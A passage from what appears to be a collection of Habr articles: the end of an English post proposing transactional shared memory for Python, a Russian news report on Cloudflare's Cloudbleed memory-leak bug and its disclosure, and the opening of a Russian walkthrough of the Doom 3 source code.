return copy(SharedDict)
finally:
commit_transaction()
```
Which requires the programmer to explicitly mark the transaction's start and commit points. What really can ease this task is some decorator for wrapping a function into transaction:
```
@transacted
def func(SharedDict):
SharedDict['a'] = 1
SharedDict['b'] = 1
SharedDict['b'] += SharedDict['a']
return SharedDict
```
In a language with clear data dependencies it's possible to preliminary determine the required data cells and, for example, lock them for duration of transaction, so the transaction will always succeed if it started successfully. However, in python code some unexpected actions might arise here and there, so we might require a rollback on conflict with other transaction. Which brings us two key requirements for this transactional memory to work:
* ability to cancel the changes
* absence of uncancelable side-effects
The first one can be implemented with magical data objects made specially for our shared data. The second one brings us back to how we declare the transaction in our code. When we have declared some function with "@transacted" decorator, we have to ensure only "magical objects" are used inside. I'm not completely sure on how to implement that, but one of ideas is to create a separate "global scope" for transacted functions using [exec() function](https://docs.python.org/3.1/library/functions.html#exec) which allows setting custom scopes and is accepting code objects (so there's no need to recompile the function from text into bytecode). This way we can translate regular python objects into shareable objects when entering the transaction and possibly translate them back when leaving the transaction. Of course, calling some external function from within the transaction does not count as "leaving the transaction", so we can avoid translation here.
Immutable data and strict typing (would be great to have)
=========================================================
Although python is mostly based on mutable data, having some immutable data really helps in multitasking environment. Immutable data is fundamentally uncontended, because you cannot modify it and readers don't conflict with each other. But immutable data is not ideamatic for python, that's why programmer would need to explicitly declare non-ideomatic concept with something like:
```
@transacted
def func(SharedDict):
SharedDict['a'] = 1
SharedDict['b'] = 1
SharedDict['b'] += SharedDict['a']
return immutable(SharedDict)
```
Predefined object structure is of similar importance for multitasking — having to manage locks during structure modification is a burden. Unfortunately, solutions for defining types around Python kind of all suck — they garble the code and make it look unpythonic. So any ideas are welcome.
Lazy vs Eager
=============
Common implementations of software transactional memory (STM) use lazy transaction model, where you make a copy of data at the begginning of transaction, run the transaction, and finally atomically check the data cells to be unmodified while committing the changes into these cells. The major problem of this approach is handling high contention scenarious: when you have 10 threads running for 100 ms inside transaction and 10 ms outside transaction, you are going to have like 99%+ rollbacks i.e. multitasking program running slower than single task. Because Python can be slow e.g. someone carelessly doing HTTP requests inside transactions or just significant calculations, lazy transactions are really no-go for our purpose, at least as a main conflict resolution algorithm.
Eager transaction model is really similar to a regular fine-grained locking access, with the exception of "deadlock" handling: when a transaction encounters already locked reasource, one transaction keeps the lock and other transaction releases the lock. As I already mentioned, in Python we cannot determine all the required resources before the transaction starts. So I actually implemented plural cancelable read-write locks with ticket-based fairness. Something unprecedented as far as I know. For a reason though — this thing is really hard to implement efficiently i.e. using not only naive spinlocks but also putting a younger waiting thread to sleep so OS (Operating System) can use CPU (you know) for some other work including running the conflicting high-priority (older) transaction. In simple words it works like this:
Thus on heavy contentions you get a single tasks performance, while on seldom contentions you get a good concurrent performance. And readers don't block each other at all, just like in lazy transaction model (because of read-write lock).
Now you might be asking: what if I want some kind of simple non-blocking access? This task is supposed to be solved by dirty-reads and immutable data structures. I don't feel like a full-blown multiversion concurrency control is suitable here, because it's just not ideomatic for python code (which only expects a single state) and would become an unnecessary and heavy burden.
Memory management
=================
The most appropriate memory manager for shared memory I found was Boost's "Managed Shared Memory", although it only implements a small subset of features required for a complete working memory manager, so I implemented a simple memory manager consisting of thread-bound heaps (thus threads don't block each other), each heap consisting of several sectors of either "medium" block size or "small" block size. Small blocks are combined into segments, each containing blocks of same size. This is similar to Hoard-like memory managers, although my current implementation is really naive and is unable to release pages back to OS (still can reuse freed blocks from these pages).
The most interesting part starts at memory reclamation. We could have used a plain reference counting, but it only works for simple immutable objects. Things get more complicated with complex objects referencing other objects. Consider following code:
```
myvar = someobject.a
```
What happens here with reference counting is:
```
dereference(someobject)->increment_reference_count
local_var_1 = dereference(someobject)->a
dereference(local_var_1)->increment_reference_count
myvar = local_var_1
dereference(someobject)->decrement_reference_count
```
Now in between "local\_var\_1 = dereference(someobject)->a" and "dereference(local\_var\_1)->increment\_reference\_count" we can't be sure "someobject.a" has not been changed. It could have been cleared, thus reference count decremented and object released. So we need to postpone memory reclamation until the dereferenced cells are 100% not used. And you might have already guessed when this happens — when the transaction finishes. We just need to wait for finishing of all the transactions which possibly saw the reference. It can be done with any worker out of transaction, or using a separate worker dedicated to this specific task. As I found over time, it's called "epoch-based reclamation" and it's is already used e.g. in Linux kernel for memory reclamation in RCU data structures, though Linux kernel uses different mechanism for determining epoch border.
There's also a small advantage of this reclamation process: we can group the blocks so there would be less frequent accesses across thread-bound heaps, which is the main source of contentions when reclamation is performed right when the reference count drops to zero.
You might say: why reference counting in the first place and not tracing garbage collectors (GC)? Tracing GC can eliminate the need for reference counting altogether, thus eliminating cache misses caused by modification of reference count. Unfortunately, currently I can't see any viable way to organize tracing GC without ruining the system performance. Yes, JVM, CLR, Go, V8 have concurrent GC. However, they usually execute managed code filled with barriers to notify a concurrent GC about modified references which are traced once again under stop-the-world conditions. So they all require stopping of every thread to perform final actions. However, stopping all the python workers can potentially take eternity because some of them are stuck in native code outside GIL, out of our reach.
Also, epoch-based reclamation enables us to postpone the reference count modification until the end of transaction, because no object can be destroyed if it was visible before the start of transaction.
Despite all that, I don't want to say the garbage collection is impossible here — it might still be possible some way or another.
Possible applications
=====================
Fundamental modes of workers' cooperation I see are: producer to many consumers; many producers to consumer; parallel processing of bulk prepartitioned data; a big shared storage (cache). The first three could be merged into a single "channel" primitive. Those can be used right away for websites and HTTP-services to implement a complete system with message brokers in pure Python, and to implement cache for Django/Pyramid, or even a fully-fledged in-memory database with durability ensured by existence of multiple nodes instead of classic RDBMS's ACID guarantees.
There is an effort for introducing support of multiple interpreters in CPython:
<https://www.python.org/dev/peps/pep-0554/>
This would bring some more breathing room by returning back to address space and kernel objects of a single process, thus automatically solving problems like pointer translation and copying kernel objects across processes.
I'd really be glad to see more Python in GUI development, because that's what I've been writing the most in my carrier. Unfortunately, classic GUI libraries such as GTK+, Qt, WPF, native Win32 wrappers (ATL, MFC, VCL) are all single threaded. I mean: you can have many threads, but you should never touch any GUI object outside the main thread. Which is kinda weird if you just think about how many auxiliary things in GUI can work concurrently, and how small the main logic of application usually is.
The current status of implementation
====================================
I have some basic implementation of list and dictionary (hash map) containers with rollback support, as well as basic immutable types: string, integer, boolean. I really wish I could have implemented more, but I do that in my spare time and these things also required me to implement some fundamental stuff first: shared memory manager, memory reclamation thread, synchronization objects (shared memory mutex, two flavours of events), and the most complex one is a plural read-write lock. Particulary, channel implementation is still lacking due missing implementation of transacted queue (I cannot simply use something like std::deque because it does not support rollbacks directly).
It's like 11k lines of C code already, with approximately 3k lines of comments and debugging routines. At present moment I'm trying to do some kind of alpha-preview-prerelease as soon as possible, so it can be tested outside of my IDE. However, before releasing the code I would be really glad to hear some of your ideas, suggestions, and critique.
Particulary I'd like to mention the problem of system stability. Corruption of shared memory most likely leads to a crash of the whole system. For example, to deal with this problem LMDB uses read-only file mapping and modifies shared memory using file I/O operations, thus utilizing unified buffer cache in OS. To address the problem currently I restrict the amount of code allowed to directly access shared memory. Also I'm thinking on some kind of detection for hanged/crashed workers, which would otherwise bring memory reclaimer's work to a halt, and crashes are a common thing during testing.
byko3y\_at\_gmail\_com | https://habr.com/ru/post/526002/ | null | en | null |
# CDN-провайдер Cloudflare внедрял содержимое памяти своего сервера в код произвольных веб-страниц
Специалисты по безопасности из Google обнаружили [неприятный баг](https://bugs.chromium.org/p/project-zero/issues/detail?id=1139), чем-то похожий на приснопамятную уязвимость [Heartbleed](https://habrahabr.ru/post/219151/) в OpenSSL. Она тоже выдаёт любому желающему криптографические ключи, а также куки, пароли, содержимое POST-запросов с личными данными, кредитные карты, ключи API и другое содержимое чужих сессий.
Здесь уязвимость ограничена всего одним сервис-провайдером, пусть и таким крупным как Cloudflare. Но в определённом смысле этот баг Cloudbleed хуже, чем Heartbleed, потому что утечка данных происходит спонтанно. Эти страницы рутинно скачиваются краулерами, индексируются поисковыми системами, до сих пор хранятся в архивах веб-страниц и в кэше Google.
Cloudflare является посредником между хостером сайта и посетителями сайта, выполняя роль [обратного прокси](https://ru.wikipedia.org/wiki/Обратный_прокси) для веб-сайтов. Из-за ошибки программиста **системы Cloudflare на Nginx с сентября 2016 года внедряли случайные фрагменты оперативной памяти своего сервера в содержимое веб-страниц, которое выдавалось всем пользователям**.
Выдача фрагментов оперативной памяти происходила при определённых обстоятельствах. Но если вы заходили на сайт, который обслуживается обратным прокси, то могли получить прямо в браузер вместе с веб-страницей фрагмент чьего-то чужого сетевого трафика.
Вероятно, для эксплуатации бага нужно было в течение длительного времени массово загружать страницы с сайтов, обслуживаемых Cloudflare, автоматически извлекать приватный трафик и обрабатывать его регулярными выражениями в поисках интересной информации. Это могут быть сессионные ключи, пароли, данные кредитных карт и др.
*Фрагмент сессии некоего случайного пользователя Fitbit, который получили хакеры Project Zero по запросу к Cloudflare*
Среди клиентов Cloudflare — такие клиенты как Uber, OK Cupid и Fitbit (всего пострадали около [4 287 625 доменов](https://github.com/pirate/sites-using-cloudflare/blob/master/README.md), в том числе 2ip.ru, 4pda.ru, avito.ru, diary.ru, forbes.ru, iphones.ru, javascript.ru, prlog.ru, rghost.ru, rosbalt.ru, searchengines.ru). Понятно, что в пользовательских сессиях тех же Uber, OK Cupid и Fitbit передаётся чувствительная информация о поездках пользователей, кредитных картах, маршруты поездок, личные данные о человеке с сайта знакомств, показания фитнес-трекеров и многое другое. Не говоря о миллионах других сайтов, которые сидят на Cloudflare (она контролирует примерно 5% веба, в том числе 11% сайтов из топ-10000). Это как сидеть в ресторане, где одновременно с меню официант подаёт вам часть содержимого кошелька предыдущего клиента.
Тут не угадаешь, где повезёт, так что эксплуатация предполагает массовое скачивание и обработку информации. Конечно, желательно знать, при каких условиях возникает утечка памяти. Специалистам Google удалось это выяснить случайно в результате рутинной работы по [дистилляции (минимизации) корпуса страниц](http://taviso.decsystem.org/making_software_dumber.pdf#page=11) с целью оптимизации [фаззинга](https://security.googleblog.com/2011/08/fuzzing-at-scale.html), которым занимается Google.
17 февраля 2017 года сотрудник компании Google и известный хакер Тэвис Орманди (Tavis Ormandy) во время минимизации корпуса случайно наткнулся на неожиданные данные. Это был не обычный набор мусора, искажённых или неправильно маркированных данных, а нечто в таком странном формате, что Тэвис Орманди потратил время на дебаггинг, пытаясь выяснить причину ошибки минимизации, то есть ошибку в своём собственном коде. «На самом деле данные были настолько странные, что некоторые мои коллеги из отдела Project Zero тоже заинтересовались, — пишет Тэвис. — Вскоре стало ясно, что мы смотрим на фрагменты неинициализированной памяти, которые перемежаются валидными данными. Загадка разгадалась, потому что эти неинициализированные данные шли от программы, которая как раз поместила в память те данные, которые я указал. Но некоторые окружающие фрагменты имели строки и объекты, которые словно пришли от обратного прокси под управлением Cloudflare — крупнейшего провайдера CDN».
Так оно и вышло. Чуть позже исследователям удалось воспроизвести баг. Утечка информации происходила при определённом сочетании HTML-тегов на странице, которое вызывало баг на сервере Cloudflare.
Исследователи поковырялись с багом — и среди нескольких образцов получили ключи шифрования, куки, пароли, фрагменты POST-форм и данные HTTPS-запросов других пользователей. Как только они увидели это, то немедленно прекратили эксплуатацию бага и сразу сообщили о нём в компанию Cloudflare.
Тэвис Орманди предполагает, что баг Cloudflare связан с функцией ScrapeShield, которая работает у них на серверах — она парсит и обфусцирует HTML. Сама компания Cloudflare позже подтвердила, что проблема действительно была с парсером, который [обфусцирует почту](https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-), делает [Server Side Excludes](https://support.cloudflare.com/hc/en-us/articles/200170036-What-does-Server-Side-Excludes-SSE-do-) и [Automatic HTTPS Rewrites](https://support.cloudflare.com/hc/en-us/articles/227227647-How-do-I-use-Automatic-HTTPS-Rewrites-). Баг закрался примерно год назад, когда этот парсер, написанный на [Ragel](https://www.colm.net/open-source/ragel/), оптимизировали и внедрили как модуль Nginx. Теперь выяснилось, что ошибка указателя и перерасход буфера в парсере присутствовали много лет, просто раньше не происходила утечка памяти.
```
/* generated code */
if ( ++p == pe )
goto _test_eof;
```
Вот как парсер из-за бага обрабатывал атрибут в теге .<br/>
<br/>
<pre><code>script\_consume\_attr := ((unquoted\_attr\_char)\* :>> (space|'/'|'>'))
>{ ddctx("script consume\_attr"); }
@{ fhold; fgoto script\_tag\_parse; }
$lerr{ dd("script consume\_attr failed");
fgoto script\_consume\_attr; };</code></pre><br/>
Орманди говорит, что этот баг хуже Heartbleed в том смысле, что пользователю не нужно совершать целенаправленный запрос, чтобы прочитать фрагмент памяти сервера. Здесь секретная информация принудительно выдаётся в его браузер. Большинство людей просто не поймут, что это такое. Но эти страницы скачиваются краулерами, индексируются поисковыми системами. В случае Heartbleed такой утечки данных не было — там надо было отправлять специальный запрос серверу, где работает OpenSSL.<br/>
<br/>
Как обычно, через 90 дней Google опубликует информацию из баг-репорта, способ воспроизвести баг и искомое сочетание HTML-тегов, но Cloudflare уже закрыла уязвимость. Хотя они не отреагировали на письма и баг-репорт, но в течение часа заметили <a href="https://twitter.com/taviso/status/832744397800214528">призыв Тэвиса в твиттере</a>.<br/>
<br/>
<div class="oembed"><blockquote class="twitter-tweet" align="center"><p lang="en" dir="ltr">Could someone from cloudflare security urgently contact me.</p>— Tavis Ormandy (@taviso) <a href="https://twitter.com/taviso/status/832744397800214528">February 18, 2017</a></blockquote>
<script async="async" src="//platform.twitter.com/widgets.js" charset="utf-8">
Сразу нашлись нужные люди из отдела безопасности, которые быстро среагировали. Уязвимость закрыли за 7 часов, а первый фикс выпустили за 47 минут.
Вчера компания Cloudflare опубликовала [отчёт](https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/) с детальным описанием инцидента. Она сразу предупредила, что утечки пользовательских SSL-ключей не произошло, поскольку SSL-соединения всегда терминируются на изолированной машине с Nginx, которая не была подвержена этому багу. | https://habr.com/ru/post/322500/ | null | ru | null |
# Анализ исходного кода Doom 3
23 ноября 2011 года id Software поддержала собственную традицию и опубликовала исходный код своего предыдущего движка.
На сей раз настало время [idTech4](http://en.wikipedia.org/wiki/Id_Tech_4), который использовался в Prey, в Quake 4 и, разумеется, в Doom 3. Всего за несколько часов было создано больше 400 форков репозитория на GitHub, люди начали исследовать внутренние механизмы игры или портировать её на другие платформы. Я тоже решил поучаствовать и создал [Intel-версию для Mac OS X](http://fabiensanglard.net/doom3_macosx/index.php), которую Джон Кармак [любезно прорекламировал](http://twitter.com/#!/ID_AA_Carmack/status/140219823509602304).
С точки зрения чистоты и комментариев это самый лучший релиз кода id Software со времени кодовой базы [Doom iPhone](http://fabiensanglard.net/doomIphone/index.php) (которая была выпущена позже, а потому откомментирована лучше). Крайне рекомендую каждому изучить этот движок, собрать его и поэкспериментировать.
Вот [мои заметки](http://fabiensanglard.net/doom3/doom3_notes.txt) о том, что я понял. Как обычно, я подчистил их, надеюсь, они сэкономят кому-нибудь пару часов и сподвигнут кого-нибудь на изучение кода для усовершенствования своих навыков программиста.
Часть 1: Обзор
==============
Я заметил, что для объяснения кодовой базы использую всё больше и больше иллюстраций и меньше текста. Раньше я пользовался для этого [gliffy](http://www.gliffy.com/), но у него есть раздражающие ограничения (например, отсутствие альфа-канала). Я подумываю над созданием собственного инструмента на основе SVG и Javascript специально для иллюстраций по 3D-движкам. Интересно, есть ли уже что-то подобное? Ну да ладно, вернёмся к коду…
Введение
--------
Очень приятно получить доступ к исходному коду такого потрясающего движка. В момент выхода в 2004 году Doom III задал новые графические и звуковые стандарты для движков реального времени, самым примечательным из которых стал «Unified Lighting and Shadows». Впервые технология позволила художникам выразить себя с голливудским размахом. Даже восемь лет спустя первая встреча с HellKnight в Delta-Labs-4 по-прежнему выглядит невероятно зрелищно:
Первый контакт
--------------
Исходный код теперь распространяется через Github и это хорошо, потому что FTP-сервер id Software почти всегда лежал или был перегружен.
[Оригинальный релиз](https://github.com/TTimo/doom3.gpl) TTimo нормально компилируется с помощью Visual Studio 2010 Professional. К сожалению, в Visual Studio 2010 «Express» отсутствует MFC и поэтому её нельзя использовать. После релиза это несколько разочаровало, но с тех пор [зависимости были удалены](https://bugzilla.icculus.org/show_bug.cgi?id=5290).
`Windows 7 :
===========
git clone https://github.com/TTimo/doom3.gpl.git`
Для чтения и исследования кода я предпочитаю использовать XCode 4.0 в Mac OS X: скорость поиска из SpotLight, подсвечивание переменных и «Command-Click» для перехода к нужному месту делают работу удобнее, чем в Visual Studio. Проект XCode при релизе был сломан, но его [очень просто исправить](http://fabiensanglard.net/doom3_macosx/index.php), и теперь есть репозиторий Github пользователя «bad sector», который хорошо работает на Mac OS X Lion.
`MacOS X :
=========
git clone https://github.com/badsector/Doom3-for-MacOSX-`
**Примечания:** оказалось, что подсветка переменных и переход по «Control-Click» также доступны и в Visual Studio 2010 после установки [Visual Studio 2010 Productivity Power Tools](http://blogs.msdn.com/b/kirillosenkov/archive/2010/06/07/copy-code-in-html-format-with-visual-studio-2010.aspx). Не понимаю, почему этого нет в «ванильном» пакете установки.
Обе кодовые базы теперь находятся в наилучшем состоянии: **для сборки исполняемого файла достаточно одного щелчка!**
* Скачайте код.
* Нажмите F8 / Command-B.
* Можно запускать!
**Интересный факт:** для запуска игры вам понадобится папка `base` с ресурсами Doom 3. Я не хотел тратить время на их извлечение с компакт-дисков Doom 3 и обновление, поэтому скачал версию со Steam. Кажется, ребята из id Software сделали так же, потому что в настройках отладки опубликованного проекта Visual Studio до сих пор есть `"+set fs_basepath C:\Program Files (x86)\Steam\steamapps\common\doom 3"`!
**Интересный факт:** Движок был разработан в Visual Studio .NET ([исходники](http://www.iddevnet.com/doom3/code.php)). Но в коде нет ни одной строки на C#, а опубликованная версия для компиляции требует Visual Studio 2010 Professional.
**Интересный факт:** Похоже, что команда Id Software — фанаты франшизы «Матрица»: рабочее название Quake III было «Trinity», а у Doom III рабочим названием было «Neo». Это объясняет, почему весь исходный код находится в подпапке `neo`.
Архитектура
-----------
Игра разделена на проекты, отражающие общую архитектуру движка:
| Проекты | Сборки | Примечания |
| --- | --- | --- |
| | Windows | Mac OS X | |
| Game | gamex86.dll | gamex86.so | Геймплей Doom3 |
| Game-d3xp | gamex86.dll | gamex86.so | Геймплей Doom3 eXPension (Ressurection) |
| MayaImport | MayaImport.dll | — | Часть тулчейна создания ресурсов: загружается во время выполнения для открытия файлов Maya и импорта монстров, маршрутов камер и карт. |
| Doom3 | Doom3.exe | Doom3.app | Движок Doom 3 |
| TypeInfo | TypeInfo.exe | — | Внутренний вспомогательный файл RTTI: генерирует `GameTypeInfo.h`, карту всех типов классов Doom3 с размером каждого элемента. Это позволяет выполнять отладку памяти с помощью класса TypeInfo. |
| CurlLib | CurlLib.lib | — | HTTP-клиент, используемый для скачивания файлов (статически связана с gamex86.dll и doom3.exe). |
| idLib | idLib.lib | idLib.a | Библиотека id Software. Включает в себя парсер, лексический анализатор, словарь… (статически связана с gamex86.dll и doom3.exe). |
Как и во всех других движках, начиная с idTech2, мы видим один двоичный файл с закрытыми исходниками (doom.exe) и одну динамическую библиотеку с открытым исходным кодом (gamex86.dll):
Большая часть кодовой базы была доступна с октября 2004 года в [Doom3 SDK](http://www.iddevnet.com/), отсутствовал только исходный код исполняемого файла Doom3. Моддеры могли собрать `idlib.a` и `gamex86.dll`, но ядро движка было пока закрыто.
**Примечание:** Движок не использует стандартную библиотеку C++: все контейнеры (map, список с указателями...) реализованы заново, но активно используется `libc`.
**Примечание:** В модуле Game каждый класс наследует idClass. Это позволяет движку выполнять внутренний RTTI и создавать экземпляры классов по имени класса.
**Интересный факт:** Если посмотреть на иллюстрацию, то можно заметить, что некоторые необходимые фреймворки (такие как `Filesystem`) находятся в проекте Doom3.exe. Это представляет проблему, потому что gamex86.dll должна загружать и ресурсы. Эти подсистемы динамически загружаются библиотекой gamex86.dll из doom3.exe (вот что обозначает стрелка на иллюстрации). Если открыть DLL в PE explorer, то можно увидеть, что gamex86.dll экспортирует один метод: `GetGameAPI`:
Всё работает точно так же, как [Quake2 загружал рендерер и игровые ddl](http://fabiensanglard.net/quake2/quake2Polymorphism.php), передачей указателей на объекты:
Когда загружается Doom3.exe, он:
* Загружает DLL в пространство памяти процесса с помощью `LoadLibrary`.
* Получает адрес `GetGameAPI` в dll с помощью `GetProcAddress` win32.
* Вызывает `GetGameAPI`.
```
gameExport_t * GetGameAPI_t( gameImport_t *import );
```
В конце этой «установки связи» Doom3.exe есть указатель на объект `idGame`, а в Game.dll есть указатель на объект `gameImport_t`, содержащий дополнительные ссылки на все отсутстующие подсистемы, например `idFileSystem`.
Как Gamex86 видит объекты исполняемого файла Doom 3:
```
typedef struct {
int version; // версия API
idSys * sys; // непортируемые системные службы
idCommon * common; // общий
idCmdSystem * cmdSystem // система консольных команд
idCVarSystem * cvarSystem; // система консольных переменных
idFileSystem * fileSystem; // файловая система
idNetworkSystem * networkSystem; // сетевая система
idRenderSystem * renderSystem; // система рендеринга
idSoundSystem * soundSystem; // звуковая система
idRenderModelManager * renderModelManager; // диспетчер моделей рендеринга
idUserInterfaceManager * uiManager; // диспетчер интерфейса пользователя
idDeclManager * declManager; // диспетчер объявлений
idAASFileManager * AASFileManager; // диспетчер файлов AAS
idCollisionModelManager * collisionModelManager; // диспетчер модели коллизий
} gameImport_t;
```
Как Doom 3 видит объекты Game/Modd:
```
typedef struct
{
int version; // версия API
idGame * game; // интерфейс для выполнения игры
idGameEdit * gameEdit; // интерфейс для внутриигрового редактирования
} gameExport_t;
```
**Примечания:** отличный ресурс для лучшего понимания каждой подсистемы — [страница документации Doom3 SDK](http://www.iddevnet.com/doom3/code.php): похоже, она написана в 2004 году человеком с глубоким пониманием кода (то есть, скорее всего, одним из команды разработки).
Код
---
Перед разбором приведём немного статистики из `cloc`:
`./cloc-1.56.pl neo
2180 text files.
2002 unique files.
626 files ignored.
http://cloc.sourceforge.net v 1.56 T=19.0 s (77.9 files/s, 47576.6 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
C++ 517 87078 113107 366433
C/C++ Header 617 29833 27176 111105
C 171 11408 15566 53540
Bourne Shell 29 5399 6516 39966
make 43 1196 874 9121
m4 10 1079 232 9025
HTML 55 391 76 4142
Objective C++ 6 709 656 2606
Perl 10 523 411 2380
yacc 1 95 97 912
Python 10 108 182 895
Objective C 1 145 20 768
DOS Batch 5 0 0 61
Teamcenter def 4 3 0 51
Lisp 1 5 20 25
awk 1 2 1 17
-------------------------------------------------------------------------------
SUM: 1481 137974 164934 601047
-------------------------------------------------------------------------------`
По количеству строк кода обычно ничего определённого сказать нельзя, но здесь оно будет очень полезно для оценки труда, необходимого для понимания движка. В коде 601 047 строк, то есть движок в два раза «сложнее» для понимания, чем Quake III. Немного статистики об истории движков id Software в количестве строк кода:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Строки кода | Doom | idTech1 | idTech2 | idTech3 | idTech4 |
| Движок | 39079 | 143855 | 135788 | 239398 | 601032 |
| Инструменты | 341 | 11155 | 28140 | 128417 | - |
| Всего | 39420 | 155010 | 163928 | 367815 | 601032 |
**Примечание:** Значительное увеличение объёма в idTech3 возникло из-за инструментов из кодовой базы `lcc` (компилятор C использовался для генерирования байт-кода QVM).
**Примечание:** Для Doom3 инструменты не учитываются, потому что они вошли в кодовую базу движка.
На высоком уровне можно заметить пару забавных фактов:
* Впервые в истории id Software код написан на C++, а не на C. Джон Кармак [объяснил это](http://fabiensanglard.net/doom3/interviews.php#qc++) в интервью.
* В коде активно используются абстрагирование и полиморфизм. Но интересный трюк позволяет избежать снижения производительности vtable на некоторых объектах.
* Все ресурсы хранятся в человекочитаемом текстовом формате. Больше никаких двоичных файлов. В коде активно используется лексический анализатор/парсер. Джон Кармак [рассказал об этом](http://fabiensanglard.net/doom3/interviews.php#qtext) в интервью.
* Шаблоны используются в низкоуровневых вспомогательных классах (в основном в idLib), но никогда не применяются на верхних уровнях, поэтому код, в отличие от Google V8, не заставляет глаза кровоточить.
* С точки зрения комментирования это вторая по качеству кодовая база id software, лучше только [Doom iPhone](http://fabiensanglard.net/doomIphone/index.php), возможно потому, что она вышла позже Doom3. 30% комментариев — по-прежнему выдающийся результат, очень редко можно найти так хорошо задокументированный проект! В некоторых частях кода (см. раздел о dmap) комментариев больше, чем кода.
* ООП-инкапсуляция сделала код чище и упростила его чтение.
* Дни низкоуровневой ассемблерной оптимизации прошли. Некотоорые трюки, например, `idMath::InvSqrt` и оптимизации пространственной локализации сохранились, но в основном код просто использует доступные инструменты (GPU-шейдеры, OpenGL VBO, SIMD, Altivec, SMP, оптимизации L2 (`R_AddModelSurfaces` для обработки моделей)...).
Интересно также взглянуть на [Стандарт написания кода idTech4](ftp://ftp.idsoftware.com/idstuff/doom3/source/CodeStyleConventions.doc) ([зеркало](http://fd.fabiensanglard.net/doom3/CodeStyleConventions.pdf)), написанный Джоном Кармаком (в особенности я благодарен для комментарии о расположении `const`).
Разворачиваем цикл
------------------
Вот анализ основного цикла с самыми важными частями движка:
```
idCommonLocal commonLocal; // специализированный объект ОС
idCommon * common = &commonLocal // Указатель интерфейса (поскольку Init зависим от ОС, это абстрактный метод)
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
Sys_SetPhysicalWorkMemory( 192 << 20, 1024 << 20 ); //Min = 201,326,592 Max = 1,073,741,824
Sys_CreateConsole();
// Поскольку движок многопоточный, здесь инициализируются мьютексы: по одному мьютексу на "критичную" (параллельно исполняемую) часть кода.
for (int i = 0; i < MAX_CRITICAL_SECTIONS; i++ ) {
InitializeCriticalSection( &win32.criticalSections[i] );
}
common->Init( 0, NULL, lpCmdLine ); // Оценка объёма доступной VRAM (выполняется не через OpenGL, а вызовом ОС)
Sys_StartAsyncThread(){ // Следующий выполняется в отдельном потоке.
while ( 1 ){
usleep( 16666 ); // Выполняется на 60 Гц
common->Async(); // Выполнение работы
Sys_TriggerEvent( TRIGGER_EVENT_ONE ); // Разблокировка других потоков, ожидающих ввода
pthread_testcancel(); // Проверка, была ли задача отменена основным потоком (при закрытии игры).
}
}
Sys_ShowConsole
while( 1 ){
Win_Frame(); // Отображает/скрывает консоль
common->Frame(){
session->Frame() // Игровая логика
{
for (int i = 0 ; i < gameTicsToRun ; i++ )
RunGameTic(){
game->RunFrame( &cmd ); // С этой точки выполнение переходит в адресное пространство GameX86.dll.
for( ent = activeEntities.Next(); ent != NULL; ent = ent->activeNode.Next() )
ent->GetPhysics()->UpdateTime( time ); // даём элементам подумать
}
}
session->UpdateScreen( false ); // обычное последовательное обновление экрана
{
renderSystem->BeginFrame
idGame::Draw // Фронтэнд рендерера. Не обменивается данными с видеопроцессором!
renderSystem->EndFrame
R_IssueRenderCommands // Бекэнд рендерера. Передаёт оптимизированные видепроцессорные команды видеопроцессору.
}
}
}
}
```
Подробнее о полностью разобранном цикле можно [здесь](http://fabiensanglard.net/doom3/doom3_unrolled.php). При чтении кода я использовал его как карту.
Это стандартный для движков id Software цикл main. За исключением `Sys_StartAsyncThread`, который означает, что Doom3 многопоточный. Задача этого потока — управление критичными по времени функциями, которые движок не должен ограничивать частотой кадров:
* Микширование звука.
* Генерирование вводимых пользователем данных.
**Интересный факт:** все высокоуровневые объекты idTech4 являются абстрактными классами с виртуальными методами. Обычно такое снижает производительность, потому что адрес каждого виртуального метода перед его вызовом во время выполнения необходимо найти во vtable. Но есть «трюк», позволяющий этого избежать. Экземпляры всех объектов создаются статически следующим образом:
```
idCommonLocal commonLocal; // Реализация
idCommon * common = &commonLocal // Указатель на gamex86.dll
```
Поскольку объект, статично размещаемый в сегменте данных, имеет известный тип, то компилятор может оптимизировать поиск во vtable при вызове методов `commonLocal`. При установке связи (handshake) используется указатель интерфейса, поэтому `doom3.exe` может обмениваться ссылками на объекты с `gamex86.dll`, но в таком случае затраты на поиск во vtable не оптимизируются.
**Интересный факт:** изучив большинство движков id Software, я считаю примечательным то, что одно название метода НИКОГДА не менялось со времени движка doom1: метод, занимающийся считыванием вводимых с мыши и джойстика данных по прежнему называется `IN_frame()`.
Рендерер
--------
Две важные части:
* Поскольку в Doom3 используется система порталов, инструмент предварительной обработки `dmap` совершенно отличается от традиционного компоновщика bsp. Я рассмотрел его ниже, в соответствующем разделе.
* Рендерер времени выполнения имеет очень интересную архитектуру. Он разбит на две части с фронтэндом и бекэндом (подробнее об этом в разделе «Рендерер» ниже).
Профилирование
--------------
Я использовал [Instruments](https://developer.apple.com/library/mac/#documentation/developertools/conceptual/InstrumentsUserGuide/Introduction/Introduction.html) из Xcode, чтобы проверить, чем занимаются циклы ЦП. Результаты и анализ см. в разделе «Профилирование» ниже.
Скриптинг и виртуальная машина
------------------------------
В каждом продукте idTech ВМ и скриптовый язык полностью менялись… и id сделала это снова (подробнее в разделе «Скриптовая ВМ»)
Интервью
--------
Во время чтения кода меня озадачили некоторые нововведения, поэтому я написал Джону Кармаку и он был так любезен, что ответил и подробно объяснил следующие особенности:
* C++.
* Разбиение рендерера на две части.
* Текстовые ресурсы.
* Интерпретируемый байт-код.
Кроме того, я собрал на одной странице все видео и интервью с прессой об idTech4. Все они собраны на [странице интервью](http://fabiensanglard.net/doom3/interviews.php).
Часть 2: Dmap
=============
Как и во всех движках id Software, создаваемые командой дизайнеров карты проходят мощную предварительную обработку утилитой для увеличения производительности во время выполнения.
В idTech4 эта утилита называется `dmap` и её цель заключается в считывании супа из многогранников из файла `.map`, определении областей, соединённых порталами и сохранении их в файле `.proc`.
Цель этого инструмента — применение системы порталов времени выполнения в `doom3.exe`. Существует потрясающая статья Сета Теллера 1992 года: [«Visibility Computations in Densely Occluded Polyhedral environment»](http://people.csail.mit.edu/seth/pubs/). В ней подробно и со множеством иллюстраций описывается то, как работает движок idTech4.
Редактор
--------
Дизайнеры создают карты уровней с помощью CSG (Constructive Solid Geometry): они используют многогранники, обычно имеющие шесть граней, и размещают их на карте.
